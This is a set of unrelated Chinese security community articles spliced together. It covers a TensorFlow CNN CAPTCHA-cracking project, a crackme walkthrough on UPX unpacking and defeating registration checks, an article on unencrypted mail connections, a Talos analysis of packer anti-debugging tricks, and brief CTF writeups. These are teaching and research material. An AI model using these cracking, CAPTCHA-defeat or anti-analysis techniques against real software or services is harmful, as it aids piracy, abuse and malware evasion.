这样，您可以绕过设备控制和应用程序启动控制白名单，从而在本地或远程访问PC的过程中实现任意代码执行了。下一步是提升权限，以绕过操作系统的访问控制。 | 社区文章 |
本项目源码及训练完成的模型均开源当前识别率98%。
转载请附：博文网址：
[urlteam](https://www.urlteam.org/2017/03/tensorflow%E8%AF%86%E5%88%AB%E5%AD%97%E6%AF%8D%E6%89%AD%E6%9B%B2%E5%B9%B2%E6%89%B0%E5%9E%8B%E9%AA%8C%E8%AF%81%E7%A0%81-%E5%BC%80%E6%94%BE%E6%BA%90%E7%A0%81%E4%B8%8E98%E6%A8%A1%E5%9E%8B/)
，github 网址：[tensorflow_cnn](https://github.com/luyishisi/Anti-Anti-Spider/tree/master/1.%E9%AA%8C%E8%AF%81%E7%A0%81/tensorflow_cnn)
新开一个专门存储TensorFlow项目的仓库逐步更新欢迎star
：[tensorflow](https://github.com/luyishisi/tensorflow)
主流验证码偏向于用扭曲，倾斜，干扰例如下图：
因为字符距离近，没法采用先切割为单个字符然后进行局部识别的方式，so。
使用TensorFlow+cnn。进行卷积识别，该方法无需切割验证码，最终结果为训练4天(单台i5机器)达到98准确率
## 项目综述：
**相关论文** ：
* [Multi-digit Number Recognition from Street View Imagery using Deep CNN](https://arxiv.org/pdf/1312.6082.pdf)
* [CAPTCHA Recognition with Active Deep Learning](https://vision.in.tum.de/_media/spezial/bib/stark-gcpr15.pdf)
* <http://matthewearl.github.io/2016/05/06/cnn-anpr/>
使用深度学习+训练数据+大量计算力，我们可以在几天内训练一个可以破解验证码的模型，不需要分割验证码，而是把验证码做为一个整体进行识别。
自己做一个验证码生成器，然后训练CNN模型破解自己做的验证码生成器。感觉的字符验证码机制可以废了，单纯的增加验证码难度只会让人更难识别，使用[CNN](http://blog.topspeedsnail.com/archives/10833)+[RNN](http://blog.topspeedsnail.com/archives/10542)，机器的识别准确率不比人差。Google已经意识到了这一点，他们现在使用机器学习技术检测异常流量。
CNN需要大量的样本进行训练。如果使用数字+大小写字母CNN网络有4 _62个输出，只使用数字CNN网络有4_ 10个输出。因此需要一个脚本自动生成训练集。
最初cnn学习自: <http://blog.topspeedsnail.com/archives/10858>
### 成功率（可能波动，均亲身实践）：
1. 达到50%成功率需要2000个批次，总计20w张图片。
2. 达到70%成功率需要4000个批次，总计40w张图片。
3. 达到94%成功率需要40000个批次，总计400w张图片。
4. 达到98%成功率需要100000个批次，总计1000w张图片。
### loss曲线为：
### 成功率曲线为：
## 实践流程：
1. TensorFlow环境搭建：[官网下查看安装教程](https://www.tensorflow.org/versions/r0.12/get_started/index.html)
2. 测试批量验证码生成训练集： [github](https://github.com/luyishisi/Anti-Anti-Spider/blob/master/1.%E9%AA%8C%E8%AF%81%E7%A0%81/tensorflow_cnn/gen_captcha.py)
3. TensorFlow—cnn 批量生成验证码并用cnn训练： [github](https://github.com/luyishisi/Anti-Anti-Spider/blob/master/1.%E9%AA%8C%E8%AF%81%E7%A0%81/tensorflow_cnn/tensorflow_cnn_train.py)
4. 将训练模型存放于同一目录下，测试结果：[github](https://github.com/luyishisi/Anti-Anti-Spider/blob/master/1.%E9%AA%8C%E8%AF%81%E7%A0%81/tensorflow_cnn/tensorflow_cnn_test_model.py)
5. 98%准确率模型下载：链接: <https://pan.baidu.com/s/1cs0LCM> 密码: sngx
### 运行截图：
#### 测试训练图片生成：
#### 模型训练中：
#### 测试模型：
本项目由urlteam维护，欢迎star
相关的验证码破解系列可以在这里找到：[github](https://github.com/luyishisi/Anti-Anti-Spider/tree/master/1.%E9%AA%8C%E8%AF%81%E7%A0%81)
逐步更新TensorFlow系列项目：[github](https://github.com/luyishisi/tensorflow) | 社区文章 |
# 前言：
本次所用的crackme来自160个crackme系列的第5个，是上一个crackme的进阶版，要困难很多，主要通过这个crackme来学习一次PE逆向中各个步骤的对应操作和知识，以及相应的Delphi框架的基本知识
# 查壳：
使用一个常用的查壳工具：exeinfope，直接拖进去看一下：
可以看机下面有一个upx.exe，说明这是个upx壳，然后拖进OD里面看一下：
开头一个pushad，很明显的加壳操作（将寄存器状态入栈，后面会将这些寄存器状态出栈，然后进入程序真正的代码部分）
## 关于壳：
这展开说一下壳这个机制和对应的解决办法
### 什么是壳：
简单来说壳就是在程序被执行之前获得程序控制权并自动执行的一段指令，它的作用根据情况分为两种：加密和压缩，这里先讲压缩
### 压缩壳：
顾名思义，压缩壳就是让程序的大小变小但不影响正常的装入内存。
压缩壳在解压时会有一个问题，我们的代码在被解压时是从被压缩的地址开始解压，但是由于文件被压缩，那么紧邻这被解压地址的代码的可能会被正在解压的代码给覆盖掉，那么程序是先解压还是先覆盖？
其实在压缩之前，程序会记录原PE文件的节的个数和大小，此时我们生成新的带壳的文件，就会获取这个两个数据，在装载时只需要在壳解压缩的代码后面占用等大的空间，将解压出来的代码放入后面的空间中即可。
### 加密壳：
加密壳的种类相较于压缩壳就要多很多，每个加密壳的侧重点不同，它们有些可能只是单纯的保护程序和避免反编译，有些可能还会提供注册验证，使用次数等功能，加密壳比较复杂这里就不展开说了，后面遇到了再仔细说。
### 手动脱壳：
后面解题时会用专门的脱壳机，但是可以通过这道题来尝试一下自己手动脱壳下面是实际操作：
主要步骤：
1. 寻找OEP
2. 脱壳手法：ESP定律，API，单步跟踪
3. 脱壳：手工拷贝内存，修复PE
本次的crackme在前面的查壳中发现了有一个UPX的壳的存在，UPX是一个压缩壳，它的特征非常明显，就是在程序开头会有一个pushad，然后按一下F8看一下ESP的情况：
只有ESP发生了改变，大概率是可以使用ESP定律，直接在这里下一个硬件断点，然后F9运行起来：
这里有一个jmp，特征非常明显，这里就是跳入程序实际执行的代码部分，可以先F7进入这个jmp看一下：
开头一个push ebp和mov ebp，esp
这是一个非常明显的程序在执行主函数前开栈的操作，基本可以确定这里就是程序的OEP了，那么直接右键选择OD自带的脱壳插件进行脱壳：
由于壳基址会抹去程序原本的IAT，所以OD脱壳后的程序是无法正常运行的，需要修复一下脱壳后程序的IAT，这里使用importREC进行修复：
点击获取导入表后在修复转储即可。之后得到的修复后的文件再拖入OD中调试就会是下面这个样子：
程序的开头就已经是push ebp，即主函数的开栈操作，到这里手动脱壳就完成了。
但是本次的解题为了后面的对齐准确和代码准确性使用的是专门的脱壳机进行脱壳，但是通过手动脱壳可以更深的了解壳机制和积累经验。
# 程序分析：
将脱壳后的程序再次放入exeinfope看一下：
这里已经解析出来了是一个Delphi框架下编写的程序，那么我们就可以使用Delphi的框架分析软件来先静态分析一下这个程序，这里使用的框架分析软件是DarkDe4，直接将脱壳后的程序拖进去：
首先是程序中各个模块的信息，但是我们先关注一下窗体信息，在窗体信息中有一个叫TForm1的窗体，双击它看一下细节：
发现这里其实有两个文本编辑框，但是当我们运行这个程序时只显示出来一个，说明有一个文本编辑框是被隐藏了，这是通过DarkDe4获得的第一个信息。然后看一下过程信息：
事件信息：
这里可以总结出在窗口中有以下几种时间：
* 表单创建
* 计时器Timer1
* 双击事件
* 编辑框2双击事件
* 表单鼠标移动时间
* Image1鼠标移动
* Image2鼠标移动
* Image3鼠标移动
* Image4鼠标移动
* 计时器Timer2
* 按钮1点击事件
控件信息：
注意如果前面的脱壳部分采取的是手动脱壳或者通用脱壳机进行脱壳，那么这里的空间消息可能是空白的
## IDA导出MAP文件并导入OD：
为了方便后面对程序的分析，可以将程序的所有符号签名信息在IDA中导出为MAP文件并加载到OD中，首先将程序拖到IDA中：
然后在File选项中找到Produce file，然后在里面找到，create map file
然后出现这个界面后选择生成信息：
然后在目标文件夹中会生成这样一个map文件：
在OD中将这个文件进行导入：
在OD上面的菜单中找到插件，插件菜单中选择LoadMapEx就可以导入map文件了
导入后：
导入map文件后的OD在调试时会多出来很多注释，并且有些函数的名称会发生改变（编程IDA静态分析出来的sig），在后面对代码的分析中会有很大的帮助，所以在以后的程序分析中都可以先尝试使用IDA生成map文件后导入OD
（注意有些OD中可能没有这个插件，这就需要自己到网上下载一个插件之后把它放进OD的插件文件夹中，也就是下面这个文件夹里）
## 字符串分析：
下面正式进入对于这个程序的分析，首先还是按照以前的经验查一下程序里面的字符串：
找到了一些比较关键的字符串，这里选注册成功后的提示字符串点进去看一下：
在显示成功的字符串上面的代码中可以找到一个很明显的判断跳转，有四个与常量的判断跳转（也就是cmp
jcc组合），这里就说明了程序中有四个对于程序是否成功的判断检测，下面分别分析这四个检测以及对应的绕过方式。
## 第一层防护：
注意第一个CMP与JCC的组合，CMP是与一个常量0xC34进行比较，所以这里的ds:[ebx+0x304]就应该是一个与0xC34有关的变量，我们想要绕过这个判断就得让这个变量中的值不为0xC34，那么可以再OD中搜索有关这个0xC34的变量（右键->查找->所有变量->搜索0xC34）
可以看见在这次判断之前还有两次赋值操作，选择第一个点进去看一下：
这里有两个对ds:[ebx+0x304]进行赋值的操作，将程序往上拉，分析一下这段程序的执行逻辑：
程序的开头是创建并初始化表单，并设置程序中的控件为可见（SetVisible）
但是这个流程并不是中单，需要继续往下看：
往下翻一点就会看见一个文件路径注释，还有一个指向赋值语句的跳转。
在跳转语句前还有三个CALL，这三个CALL对应的是Delphi框架下的一次文件IO操作，下面分别说一下：
1. ASSIGN：这是Delphi中创建文件句柄的操作
2. RESTTEXT：Delphi中通过文件句柄打开文件的操作
3. IOResult：文件IO操作的结果
上面三个操作连起来就是打开对应位置路径上的文件并读取里面的内容，如果读取内容为空或者读取错误的话就会执行下面那个jnz跳转到赋值操作的部分，等于第一层检查就直接检测失败了，那么这里对应的操作就是要在对应的目标路径下先创建一个ok.txt文件。
**这里要注意一下，在最原始的题目当中这个路径是X盘，但是根据每个人的情况不一样可能并没有X盘，所以可以在OD中的数据区域将这个路径改成C盘或者其他电脑上有的盘**
接着往下看：
这里会发现一个名字很奇怪的函数：system
StrCmp，在C/C++编程中经常会用到这个名字的函数：strcmp，这里CALL的这个函数功能就是字符串比对，根据结果判断是否je跳过赋值语句，那么这个地方要进行比较的字符串和目标字符串是什么，在调用函数前要进行参数压栈（或通过寄存器传参），这里就要看调用函数前面的某些压栈或者寄存器操作，可以发现有个mov指令是往EDX里面传递了一个参数地址，在数据窗口中找到这个指针指向的数据：
这里正好就是一个字符串，也是作为被比较字符串传入函数的参数。
这里就可以得出绕过第一层防护的方法：在对应路径下创建文件，并将被比较字符串数据用十六进制编辑器写入文件即可。
可以看见被隐藏的编辑框已经可视化了。
## 第二层防护：
那么这里回到前面的四个CMP与JCC的组合判断中，看一下第二个防护是什么：
还是前面那个办法，找一下这个常量0x230D在程序中的赋值操作：
这里找到了一个赋值操作，点进去看一下：
开头的注释说明了这是一个对应按钮1被点击时的响应事件，这里没有特别值得注意的操作，动态调试一步一步跟进后会发现这个ds:[eax+0x308]会被初始化为0x28E，然后最终与0x294比较来决定是否给它赋值为0x230D，在判断之前有一个add操作，但是要执行这个add操作之前要通过一个cmp，条件是让CL为1，这个的CL是否为1的意义如果单步跟踪下来其实就是是否右键点击了按钮1（也就是注册了按钮），如果点击了右键则让这个值加3，但是如果直接调试到这里点击一次右键会发现这个变量只加了3，是无法绕过的，这个地方由于分析还不充分所以还无法找到正确的解决办法。所以这里继续往下看。
## 第三层防护：
回到JMP与JCC的嵌套判断的地方观察一下下一个判断：
还是直接去搜索这个变量：
发现了一个赋值语句，点进去后找到函数最开始的地方看一下对应的控件操作：
很明显这个函数试管与鼠标移动的，接着往下看：
后面就是一连串的cmp和jcc的判断跳转组合，大多数使用edx和eax进行比较，那么这两个寄存器里面装了什么数据就要往前找一下了：
这个两个参数是什么呢？这个就要动态调试了，我们F9执行到这个部分，然后将鼠标移到程序表单中发现程序被断住了，之后edx和eax就有了值：
这里我们就可以大概猜到这两个寄存器里装的就是鼠标的横纵坐标，再多调试几次就会发现坐标系的远点在左上角，eax装的是横坐标，edx装的是纵坐标。那么后面对于edx和eax的判断操作就是对鼠标所处的位置进行判断。
但是在对eax和edx进行判断之前还有一个判断，这个判断要结合前面通过Delphi框架解析软件中的信息来分析：
我们可以发现程序中有四张图（image1~image4），每张图的ID是一一对应的，而这个ID在前面的判断中出现过：
那么这里就可以看出来这个判断是要对引入的图像进行判断，前面的是判断image3
后面是判断image2，根据程序的执行流程可以知道这里的image1~image4的对应图片就是对应的“人之初，性本善，性相近，习相远”的图片顺序。
这里可以总结一下绕过这个防护的方法：
1. 当程序中的图片转到“性相近”时，鼠标坐标的横坐标要小于等于0xEX，纵坐标要小于等于0x12C
2. 当程序中的图片转到“性本善”时，鼠标坐标横坐标要大于等于0x17.纵坐标要小于等于0x12C
但是在真正进入赋值语句之前还有两个判断：
)
第一个判断变量0x310是否等于0x10在前面判断绕过后就可以跳过跳转，但是第二个变量0x30C是否等于0x9则是嵌套在这个判断里的又一个判断，其实就是第四层防护。
## 第四层防护：
前面说到的嵌套在第三层防护中的防护也可以用查找变量的方式：
有两个赋值语句，第一个是在创建表单时的赋值语句，没有意义，所以这里进入第二个语句：
由于我们要让变量0x30C不等于0x9来绕过判断，所以这里是符合要求的，向上找到函数头部，看一下这个函数是在完成什么功能：
根据注释可以知道这个函数用来管理编辑框2的双击事件的，但是这个时候的编辑框2是禁用的，为了让这个点击事件生效，我们就要先解禁编辑框2，那么回到DeDePark中看一下编辑框2对应的控件ID是2F0，回到OD中查一下这个有关这个控件的常量：
很多条，这就需要一条一条的点进去看，这里找到有关编辑框2启用的操作函数是第四条，点进去看一下：
这里panel1控件的双击操作，什么是panel1呢，这个还是到DeDePark中去看一下窗体的分布：
发现panel1就是下面这个大方框，回到程序中看，在解禁编辑框之前有一个CMP和JCC的组合判断跳转，当变量0x308不等于0x29D时会跳过解禁操作，这变量0x308我们在前面见到过，就在第二层防护中，这个变量的作用是用来记录鼠标点击注册按钮的次数的（到这里忘了的话可以倒回去看看），变量0x308在第二层防护中被初始化为0x28E，当右键点击一次注册按钮时这个值会加3，那么我们符合条件就要右键点击注册按钮：(0x29D-0x28E)/3
= 5次。
这里总结一下解禁编辑框2的操作：
1. 右键点击注册按钮5次
2. 双击两次大按钮（注意是按钮不是图片，必须是空白的部分）
解禁编辑框2后回到第四层防护对于编辑框2的双击事件，直接来到它的验证流程：
验证流程总结如下：
1. 获取编辑框2中的内容
2. 获取内容长度，判断是否为8，不为8则跳转至结束
3. 判断内容中第2个字符ASCII码值是否为0x5F(也就是下划线_)
4. 再次获取编辑框2中的内容
5. 判断内容中的第6个字符ASCII码值是否为0x2C(也就是逗号,)
6. 获取编辑框1中的内容
7. 获取内容长度
8. 将内容长度的值加上3再除以3，判断余数是否为0，不为零则跳转到结束（所以编辑框1中的内容必须为3的倍数）
到这里就完全绕过了前面的第三层防护。下面回到第三层防护的地方，因为它的流程还没有执行完。
## 第五层防护：
这是第三层防护的后半部分：
流程也比较简单，就是获取编辑框1中的内容，然后与字符串"ajj"进行比较，相同则判断成功，不相同则判断失败，所以这里就知道第一个编辑框中的内容需要为"ajj"，然后这个函数就完全执行完成了。下面总结一下这个嵌套了三层防护的函数判断：
1. 鼠标右键点击五次注册按钮
2. 鼠标左键双击图片框的空白处
3. 编辑框1输入ajj
4. 编辑框2输入1_345,78(第二位必须的下划线，第六位必须的逗号，长度必须8位，其余随便)，然后鼠标左键双击
5. 在图片是性相近的时候，鼠标从右下角移入软件框内
6. 在图片是性本善的时候，鼠标从左下角移入软件框内
## 第六层防护：
回到计时器空间的五个CMP与JCC的组合判断中，到这里已经过掉了三个验证，来看下一个：
这里要让变量0x318和变量0x314相等，那么就要先知道这两个变量中装的值是什么，仍然是用搜索常量的方法：
### 变量318：
可以看到除了第一个是赋初值之外（初值为0），其它全是在给这个变量做加法，这里点进第二句指令中去：
这里先判断点击的是鼠标左键还是鼠标右键，左键数值加2，右键数值加0x11，将程序拉倒函数开头的地方看一下这是处理什么控件的函数：
这里处理的是Image1，也就是图片1的鼠标点击事件。那么再换到上面搜索出来的第四个加法语句中去：
与上面几乎是一样的流程，只是点击左右键后所加的数值不相同，这里就可以看出来这个流程的规律，根据点击的图片和左右键不同对变量的加的数值不同
### 变量314：
这里查找到五句赋值指令，其中第一个是创建表单时的赋值语句，没有什么意义，后面四句的地址相隔很近，可以推测应该是同一个函数里的操作，点进第二个去看一下：
在这里有一个Switch case的选择执行结构，这个选择结构依据的值是变量0x30C中的值，关于这个变量中的值要往上找：
这里就是给变量0x30C赋值的地方，第一个call是获取磁盘剩余空间，第二个call是一个算法，很复杂但是不用特别注意，因为主要关注的是后面是Switch
case中对变量0x314的赋值
**注意不是那句mov 0x30C,0x9，我们在绕过第三层防护时说过我们不能使这个变量里面的值为0x9。**
结合上面的选择操作，可以总结出下面这个选择赋值：
1. 变量0x30C值为0时：赋值为0x41
2. 为1时：0x3D
3. 为2时：0x34
4. 为3时：0xDF
根据这里获得的变量0x314的值，为了保证前面的变量0x318与0x314值的相同，根据显示数字的不同可以总结出下面的操作：
* 0：在“习相远”图片时左键点击图片2次，在“人之初”图片时右键点击图片3次
* 1：在“习相远”图片时左键点击图片1次，在“习相远”图片时右键点击图片2次
* 2：在“性本善”图片时左键点击图片2次，在“性相近”图片时右键点击图片2次
* 3：在“习相远”图片时左键点击图片1次，在“习相远”图片时右键点击图片8次
* 4：在“习相远”图片时左键点击图片2次，在“人之初”图片时右键点击图片3次
## 流程总结：
1. 在C:\ajj.126.c0m\j\o\j\o路径下创建ok.txt文件并写入对应内容
2. 右键点击5次注册按钮，左键点击2次panel按钮
3. 在解禁后的第二个编辑框中输入长度为8的字符串，第二个字符为_ 第六个字符为,其他随意
4. 双击第二个编辑框
5. 在图片是性相近的时候，鼠标从右下角移入软件框内
6. 在图片是性本善的时候，鼠标从左下角移入软件框内
7. 根据显示出的数字不同执行不同的操作，具体操作见第六层防护的分析
# 执行成功后：
# 总结:
这个是160个crackme中四星难度的一个crackme，跟着流程走一遍可以收获很多关于壳机制与脱壳，逆向分析的知识（诸如嵌套判断与选择执行的流程），以及一些关于Delphi程序框架以及操作函数的名称和流程。 | 社区文章 |
# 【缺陷周话】第46期：邮件服务器建立未加密的连接
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、邮件服务器建立未加密的连接
在程序开发中需要构建邮件和消息应用程序时，保证邮件通讯数据的机密性和数据内容的完整性是不可或缺的。如果在未加密的情况下建立邮件服务连接，则攻击者可能会拦截网络通信数据并进行数据篡改，或者将传输的数据备份，以获取用户网络活动信息，包括账户、密码等敏感信息，而进行通信的双方却毫不知情。本文以JAVA语言源代码为例，分析“邮件服务器建立未加密的连接”缺陷产生的原因以及修复方法。详见CWE
ID 200: Information Exposure (http://cwe.mitre.org/data/definitions/200.html)。
## 2、邮件服务器建立未加密的连接的危害
利用该缺陷，攻击者可能会对网络数据进行截取，通过修改邮件内容，在其中植入钓鱼链接，诱骗用户输入机密数据，如信用卡号、账户名、口令等。
从2018年1月至2019年8月，CVE中共有1条漏洞信息与其相关。部分漏洞如下：
CVE | 概述
---|---
CVE-2018-5482 | Intuit Lacerte 2017 for Windows 在客户端/服务器环境中通过 SMB
以明文形式传输整个客户列表，允许攻击者通过嗅探网络获取敏感信息进行中间人（MITM）通过未指定的载体进行攻击。客户列表包含每个客户的姓名、社会安全号码（SSN）、地址、职位、电话号码、电子邮件地址、配偶电话、电子邮件地址以及其它敏感信息。客户端软件对服务器数据库进行身份验证后，服务器会发送客户列表。所有敏感数据都暴露无需进一步利用。此漏洞已在
Intuit Lacerte 2017上得到验证，但旧版本的 Lacerte 可能容易受到攻击。
## 3、示例代码
### 3.1 缺陷代码
上述代码是进行发送邮件的初始化操作，第77行声明了一个 Properties 对象用于连接邮件服务器的参数配置，第78行设置 发件人的邮箱的 SMTP
服务器地址，第79行使用 STMP 协议作为邮件发送协议，第80行根据配置创建会话对象，用于和邮件服务器交互，第81行将会话设置为 debug
模式，可以查看程序发送 Email 的运行状态。第82~83行创建邮件对象并设置发件时间，MimeMultipart
对象用于添加邮件的各个部分内容，包括文本内容和附件，第85行将 multipart
设置为邮件的内容。在创建并使用邮件服务的过程中使用了未加密的连接，使用未加密网络发送敏感信息可能会被恶意攻击者通过拦截网络通信读取并修改信息。使用代码卫士对上述示例代码进行检测，可以检出“邮件服务器建立未加密的连接”缺陷，显示等级为高。在代码行第80行报出缺陷，如图1所示：
图1：“邮件服务器建立未加密的连接”检测示例
### 3.2 修复代码
在上述修复代码中，在第80行将SSL的可用性设置为 true，则默认情况下使用 SSL 连接并使用SSL 端口，使用 SSL
连接可以为网络通信提供安全及保证数据完整性。
使用代码卫士对修复后的代码进行检测，可以看到已不存在“邮件服务器建立未加密的连接”缺陷。如图2所示：
图2：修复后检测结果
## 4、如何避免邮件服务器建立未加密的连接
使用SSL/TLS对通过网络发送的所有数据进行加密，或者将现有的未加密连接升级到SSL/TLS。 | 社区文章 |
根据思科高级恶意软件防护引擎（AMP）所报告的数据显示，思科的Talos部门在过去的两个月内一直在跟踪分析RAT感染事件。AMP能够在恶意软件感染主机前对其进行防御。然而，经过研究人员的分析发现，我们回收的样品中并没有RAT发生的迹象，反而是一种具有商业性质的封装软件。
RAT攻击可以逃避防御软件的检测与分析。过去，为了保护合法软件供应商的知识产权，我们通常使用一种叫做`Obsidium`的软件封装器。而封装器中的payload也逐渐演化成叫做`Imminent`的RAT恶意软件。而新研发的商用RAT零售价为25至100美元，并拥有大量的客户群。虽然这个软件不是被用于恶意行为，但是对其的检测必不可少。
虽然常规方法就可以做到对恶意软件的检测，但是并不是每个用户都能够组织PUA的威胁。除此之外，我们还有其他技术被用于检测，例如：Exploit
Prevention引擎。读者在阅读完此文章后不仅能够更好的了解攻击的具体流程，而且还能够了解AMP是如何进行配置以防止检测的。本次分析采用了软件沙箱的动态分析方法。
在AMP检测到这种特殊的Imminent恶意行为之后，我们发现用于隐藏恶意软件的封装器有多复杂时，我们决定进一步进行研究。以下是动态运行的显示情况：
我们确定了商用级封隔器是如何使用的，但我们也对这种特定封隔器运行时所采用的反调试和反虚拟机技术感到好奇。 它从几个重写`SEH异常`的处理程序开始。
这是通过在`FS:0`之前就开始进行顺序处理，然后将堆栈指针移动到`FS:0`。由于样本是32位并且未使用SafeSEH编译，所以这种方法很容易实现。所以程序故意访问非法指令并重定向到某些代码处，从而导致恶意代码的初始解密情况产生。
由于覆盖的主要目标是系统的起始代码，因此可以通过以下内容来跳过大部分内容：`ntdll-> KiUserExceptionDispatcher`。
程序可以将异常传递给应用程序，并在跳转条件之前进行中断操作以确定链中是否存在另一个异常行为。
最后，按照存储在ECX中的指针来解析`CONTEXT`结构，并确定在调用NtContinue时将执行哪些EIP指令。
EIP可以在运行时在此时跟随ECX并为32位上下文的CONTEXT结构提供手动解析能力。
恶意软件依次解密和重新加密恶意代码，使得分析人员很难确定完整解密点以及完整的时间线。 加密方案使用用户本机x86指令和包装的AES函数。
通过初始代码解密，我们可以看到一些复杂的API解析，其中第一个类似于二进制，但为了防反汇编的垃圾字节插入，所以整体来看分析被阻止了。
正如人们所预料的那样，这使得控制流图和功能块的反汇编渲染非常混乱。后面会有几个断点和调用返回，这里我们会注意到API字符串会在通用寄存器中被抛出。通过一些试验和错误调试，我们发现打破已解析的API地址并将其存储在EAX中并非不可能。然后，我们可以运行调试器，直到调用返回。但在这个过程中将遇到一些访问冲突和非法指令，如下所示。
如果用户通过打包器反复运行payload进行调试，那么最终会成功对非法指令进行访问。
还值得一提的是，这里我们进行处理的API地址不应该被修改，也不应该持续运行到点击调用。此处的打包程序并不总是需要用过调用来移动到API处。除此之外，API的地址并不是直接被使用的，而且通过在函数内调用一些指令来达到调用的效果。用户最好的做法就是避开API代码中的一些调用以便能够随意查看已解析API的原始参数。更重要的是，封装器代码将在重定向之前会检查软件断点目标（0xCC或int
3反汇编）。
在建立了此类控制对话之后，我们就可以开始处理反调试检查。这是成功解压缩原始payload的必要步骤。
在这种情况下，由于检查的存在，所以样本无法正常运行并显示出完整图像或相关代码段。 使用此打包程序，反调试检查包括以下内容：
* 类注册会将参数传递给`CreateWindowsEx`，包含一个由`CallWindowProc`调用的回调参数。 回调函数本身调用`NtQueryInformationProcess`，并将`ProcessDebugPort`设置为请求的`ProcessInformationClass`枚举参数。
* 对于未记录的`ProcessInformationClass`枚举值`ProcessDebugObjectHandle`和`ProcessDebugFlags`，我们再次调用API两次。
* 使用`SystemInformationClass`参数中未记录枚举来调用`NtQuerySystemInformation`：`SystemKernelDebuggerInformation`。 在此特定情况下，程序不返回标准的`SYSTEM_BASIC_INFORMATION`结构，而是返回`SYSTEM_KERNEL_DEBUGGER_INFORMATION`结构，其中包含`UCHAR KernelDebuggerEnabled`和`UCHAR KernelDebuggerNotPresent`。 用户可以通过适当地切换标志来绕过此调试器检查。
* 调用`CloseHandle`会成为抛出无效提示。 调试进程时，这将抛出异常，而不是导致API提示失败。 在这种情况下，异常会返回到检测到的调试器`（EnumWindows-> MessageBoxA - >“Debugger detected ...”）`。 调试时忽略异常以绕过此检查。
* 多次调用`CreateFileA`以检查是否可以在主机上进行实例化具有以下文件名的文件对象：
\\.SICE
\\.\NTICE
\\.\NTFIRE
* 之后的检查很有意思，它在开始调试器检查之前解析了20多个API。 幸运的是，只有最后几个API涉及检查操作`（InternalGetWindowText，IsWindowVisible和EnumWindows）`。 如前文所述，在解压缩这一点上获取`EnumWindows`是一个不好的迹象，表明未通过调试器检查。 传递给EnumWindows的回调函数必须使用断点处理并进行迭代，直到看到`InternalGetWindowText`和`IsWindowVisible`被调用作为独立调试器检查。
* 将任意值传递给`SetLastError`会产生错误。 调用`GetLastError`以检查设置值是否被保持，正如调试时所预期的那样。
* `GetCurrentThread`获取当前线程并将其传递给`NtSetInformationThread`，并附加来自`THREAD_INFORMATION_CLASS`的`ThreadHideFromDebugger`枚举值。 如果存在，将从调试器中分离进程。
* CheckRemoteDebuggerPresent。
* `FindWindowW`查找以下调试器类名，而不是窗口名：`ObsidianGUI，WinDbgFrameClass，ID和OLLYDBG`。
* CreateFileW检查创建`\\.\ VBoxGuest`是否失败。
这只是反调试的一部分。 不幸的是，我们没有空间来覆盖恶意软件的反VM技术，但这是分析的一个良好开端。 我们决定继续在裸机主机上解压缩样本以转储二进制文件。
我们将最后阶段的分析确定为商业性的恶意RAT。
通过动态域名所显示的复杂打包程序（Themida等），我们发现主机上运行了多个控制面板上的RAT（包括我们解压缩）。
我们进一步对这一系列攻击进行分析。最初，这个商用性的包装器曾被用于保护合法软件供应商的知识产权。
此外，合法payload产生了商业上可用的RAT，其也被用于合法目的。
虽然在这种情况下PUA检测方法就足够对恶意软件进行检测，但除了防止遥测之外，我们还拥有诸如漏洞利用预防引擎之类的技术来动态检测此类威胁。
攻击者正在不断地尝试绕过威胁检测。
在这种特殊情况下，使用市场上的防御软件是无济于事的。这些攻击由思科高级恶意软件防护（AMP）漏洞利用预防引擎成功防御，由此产生的事件数据通过分析软件能够对以后的防御提供更多的帮助。
### IOCs
原始Obsidium打包样本
`3bc0ae9cd143920a55a4a53c61dd516ce5069f3d9453d2a08fc47273f29d1cf3`
分析的RAT样本
`12cca4fcfe311d1136db6736e7f17854746a5e6c7a284c27ea84a5016bf982d7`
本文翻译自：https://blog.talosintelligence.com/2019/01/what-we-learned-by-unpacking-recent.html | 社区文章 |
# RCTF writeup#复旦六星战队
|
##### 译文声明
本文是翻译文章，文章来源：复旦六星战队@360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**author：复旦六星战队**
**sign in (MISC 100)
**
源代码里面搜 key,找到个串,在键盘上划一划完事
**welpwn (PWN 200)
**
读入明显过长,copy 会溢出,但是会被 截断,而写 ROP 的话,64 位避免不了有 。
同时想要覆盖,输入前 16 位不能有 ,然后我们就覆盖到返回地址处,改为一个 pop4ret,这样跳过读入前面一部分不可控区域。
然后就是个裸 ROP 了,不过由于没有 libc,故需要用下 dynELF 蛋疼下。
**Analysis nginx‘s log (MISC 50)
**
这道题记录了 sqlmap 的注入过程,稍微 urldecode 几句大概就知道什么时候开始爆破了。
找到开始爆破内容的地方,然后发现 sqlmap 对每一位最后都有一个 != 来结束,然后人工抓了一下数据,拼凑 flag。
**tank (REVERSE 200)
**
修改地图,让敌方坦克不能动,然后就随便虐,然后玩通关即可。
**decode the file (CRYPTO 100)
**
文件是 base64 编码过的,解码完搜索一下发现跟 github 上 的一个脚本一模一样。
但是仔细研究一下可以发现,解码后再编码出来某几位有差别。
想起来以前跟着一位交大大神打过一场俄罗斯人办的 olympic ctf 的比赛,当时也是一个base64编码的很长的文件,末位有所差别。
于是上gitub搜了一下writeup,找到一份 [http://delimitry.blogspot.com/2014/02/olympic-ctf-2014-find-da-key-writeup.html,](http://delimitry.blogspot.com/2014/02/olympic-ctf-2014-find-da-key-writeup.html%EF%BC%8C)
直接拿博主的脚本跑了一下,结果就出来了……
**Flag system (MOBILE 100)
**
首先 file 发现是 android backup 文件,在 Github 找到 [android-backup-extractor](https://github.com/nelenkov/android-backup-extractor)。
然后由于 android-backup-extractor 只支持到 android backup v3,所以要么改改源码,要么把Android
Backup文件的version bit改成3,都可以。
然后要把源本 backup 文件里的 Compressed 的那个 bit 改成 1。
解出来后,发现 com.example.mybackup 的 apk,大概看一下发现是用来操作一个 sqlite 数据库的,然后是 sqlcipher
加密的。
改 smali 来读取数据的话感觉有点麻烦,要改好多,然后又不会写 android,于是乎还是搞到 key 自己解密数据库。
首先发现 key 是 apk 签名加密,于是算算即可。
然后读 db 的时候坑了,先是 brew install sqlcipher 了一个,然后解密失败,搞得还怀疑算错密钥了,又重新折腾半天。
后来又用 pip install 了一个,写了个 python 去读,发现成功了。
于是目测就是版本问题了,感觉甚是无语。
**crack me (REVERSE 300)
**
一个基本的 crack me 程序,使用 ollydbg 动态调试,可以看到程序动态修改了自己的代码,然后跳到这段代码中。
同时内存里会出现一个可疑字符串
